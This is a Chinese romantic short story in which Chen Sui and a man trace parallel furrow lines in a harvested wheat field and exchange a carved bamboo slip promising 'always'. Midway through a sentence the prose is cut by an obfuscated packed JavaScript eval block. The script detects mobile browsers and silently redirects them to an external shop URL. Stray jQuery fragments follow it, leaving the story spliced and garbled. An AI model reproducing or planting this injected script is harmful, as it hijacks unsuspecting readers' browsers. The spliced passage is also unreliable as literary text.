秋收后第七天，麦茬地已经翻过一遍了。陈穗一个人蹲在麦田最南边那块地边缘，用手指在新翻的土面上画线。她画得专注而缓慢，指尖抵着湿润的土壤慢慢推过去，划出一道浅浅的、笔直细痕。第一道画完了是畦垄边线，第二道隔开一掌宽度再画一条平行线，第三道是排水的沟槽。她把三条线都画完之后退后半步审视了片刻，然后伸手修改了第三条线的弧度，指尖带起一小撮湿润的土粒滚落在旁边。
他走过来的时候她没抬头。脚步声在田埂上踩过干草碎屑的声响她认得出来，靠近她的时候速度放慢了，最后在她旁边停住。她继续调整那条排水线的弧度，把末端往左侧偏了大约半指的距离然后收回了手。他在她旁边蹲下来。蹲下来的动作跟她一样自然，屈膝、重心压在右脚上、左臂轻轻搭在左膝上。他低头看了一眼她画的那三道线，然后伸出了自己的右手食指——指腹上还残留着前天磨镰刀时留下的浅痕——在她画的三道线旁边，隔了大约半掌的距离，也开始画线。他画了第一道，跟她平行的；又画了第二道，间距跟她的一致；第三道他也画了，弧度跟她调整过之后的一样往左偏了半指。三道线并排着，像两双手在同一个土面上各自完成了一组相同的轨迹。
陈穗看着那几道并行的线条。他画的跟她画的几乎完全对称，线体笔直平滑，弧度的偏转精准如刻度一样，带着一种认真描摹过的感觉，像练过很多次才做到这个程度。她看完之后把手指收回来在衣摆上擦了擦，却没有站起来也没有走。她侧过身面朝他坐着，膝盖并拢，手搭在膝盖上。他也面朝她坐正了，两人之间隔着她刚画的那三道线和他在旁边补的那三道线。
“你那个‘下回’，”他开口了，“我写工整了。”
他说完这句话，从怀里掏出一片竹简递到她面前。竹简比之前的都薄一些，边缘打磨得极其光滑，没有毛刺。她接过来低头看的时候手指碰到竹面，被磨得非常细腻温润，一看就是被人反复摩挲过的。正面刻了两个字——“陈穗”。笔画工整端正，每一笔的起落都清晰明确，像拓出来的印迹一样精准。她用手指轻轻描了一下“穗”字最后一笔的收尾——力度均匀稳定，没有抖动，边缘光滑而坚实。
她把竹简翻过来看背面。背面的字更小一些，刻得同样认真仔细，像一个人花了很多时间在里面反复描摹定型之后才落刀的痕迹：“河西。一直。”
她把竹简握在手里，合拢了手指，然后抬起头看他。暮色正在合拢，田埂上最后一段日光正在变窄。两人隔着土面上那几道并行的线面对面坐着，他看着她，她看着他。她把那片竹简贴着胸口放进了怀里，跟那四片并排放着。然后她做了一件事——她把自己的右手伸出来，掌心朝上，搁在了两人之间那片被画了线的土面上。她的手指并拢着搁在第三道线和第四道线之间的空隙里，那道空隙跟其他线之间的距离完全一致，窄窄的一小条，刚好容得下几根手
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17920801|213459||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
指并排放着。
他低头看着她的手。然后他也伸出手，把手放在土面上搁在她的手旁边。两人的手指并排着搁在土面上，像两道新画出来的、平行的、靠得很近的线。暮光越来越暗，土面上那几道并行的线条正在慢慢模糊、被风带走表层细小的土粒。但她的手和他的手还搁在原地没有收回去，两人并排搁在同一片土面上像两棵栽在相邻位置上的苗——根系还没长到一起，但位置已经选定了。
风从祁连山方向吹过来拂过两人并排搁在土面上的手。他忽然开口，声音比刚才重了一点点，像把一粒种子按进了土里：“这个‘一直’——我说的是真的。”
陈穗没有转头看他的脸。她看着两人并排搁在土面上的手，风把细小的土粒吹起来落在两人手背上。她把自己的手往旁边挪了那么一点点，挪到他手旁边挨着的位置，指尖和指尖之间几乎碰到了一起。“我知道。”然后她收回手站起来，在衣摆上蹭掉手上的土粒，又弯腰伸手拉了他一把。他站起来，两人面对面站着，隔着刚才画过线的那片土面。暮色已经彻底笼罩了麦田，但还能看见彼此的轮廓。她开口说了一句：“你那个竹片我收着了。‘一直’也在。”
他站在她面前沉默片刻，然后点头。没有说好，但点头了。晚风从两人之间穿过去，经过刚才画过线的那片土面，把那些正在模糊的线条又吹浅了一层。两人同时转身往回走，并肩踩着田埂，脚步声一轻一重落在土面上。